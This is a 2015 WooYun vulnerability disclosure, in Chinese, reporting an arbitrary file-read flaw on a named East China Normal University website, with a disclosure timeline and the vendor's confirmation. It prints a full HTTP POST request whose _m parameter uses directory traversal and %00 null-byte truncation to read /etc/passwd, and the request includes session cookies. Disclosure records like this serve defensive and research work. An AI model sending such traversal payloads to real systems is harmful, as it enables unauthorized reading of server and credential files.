漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2015-0149777
漏洞标题：华东师范大学某网站存在任意文件遍历漏洞
相关厂商：华东师范大学
漏洞作者： 小心点！
提交时间：2015-10-27 11:52
修复时间：2015-12-11 13:06
公开时间：2015-12-11 13:06
漏洞类型：任意文件遍历/下载
危害等级：中
自评Rank：8
漏洞状态：厂商已经确认
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2015-10-27： 细节已通知厂商并且等待厂商处理中
2015-10-27： 厂商已经确认，细节仅向厂商公开
2015-11-06： 细节向核心白帽子及相关领域专家公开
2015-11-16： 细节向普通白帽子公开
2015-11-26： 细节向实习白帽子公开
2015-12-11： 细节向公众公开
简要描述：
一个post包引发目录遍历，可读取/etc/passwd/文件！
详细说明：
post请求包：
POST /admin/index.php HTTP/1.1
Content-Length: 129
Content-Type: application/x-www-form-urlencoded
Referer: http://asc.ecnu.edu.cn/
Cookie: PHPSESSID=skft5i5v6gh5q11hb3opo6ipb5; bdshare_firstime=1445850501693; BAIDUID=75E343819BEA9BDD03EBC27436B1B0C5:FG=1; phpMyAdmin=6ufk3kt1gt426oidmdlgfp5ntittttg4; pma_lang=en; pma_collation_connection=utf8_general_ci
Host: asc.ecnu.edu.cn
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
bt_login=&login_pwd=iluyvapp&login_user=iluyvapp&rand_rs=1&_a=dologin&_m=../../../../../../../../../../etc/passwd%00.jpg&_r=_ajax
注入点：_m，再配合%00截断绕过，便可实现任意文件读取。
漏洞证明：
修复方案：
这个你们更懂，我就不多说了！
版权声明：转载请注明来源 小心点！@乌云
漏洞回应
厂商回应：
危害等级：高
漏洞Rank：10
确认时间：2015-10-27 13:05
厂商回复：
漏洞已确认，正在修复中。
最新状态：
暂无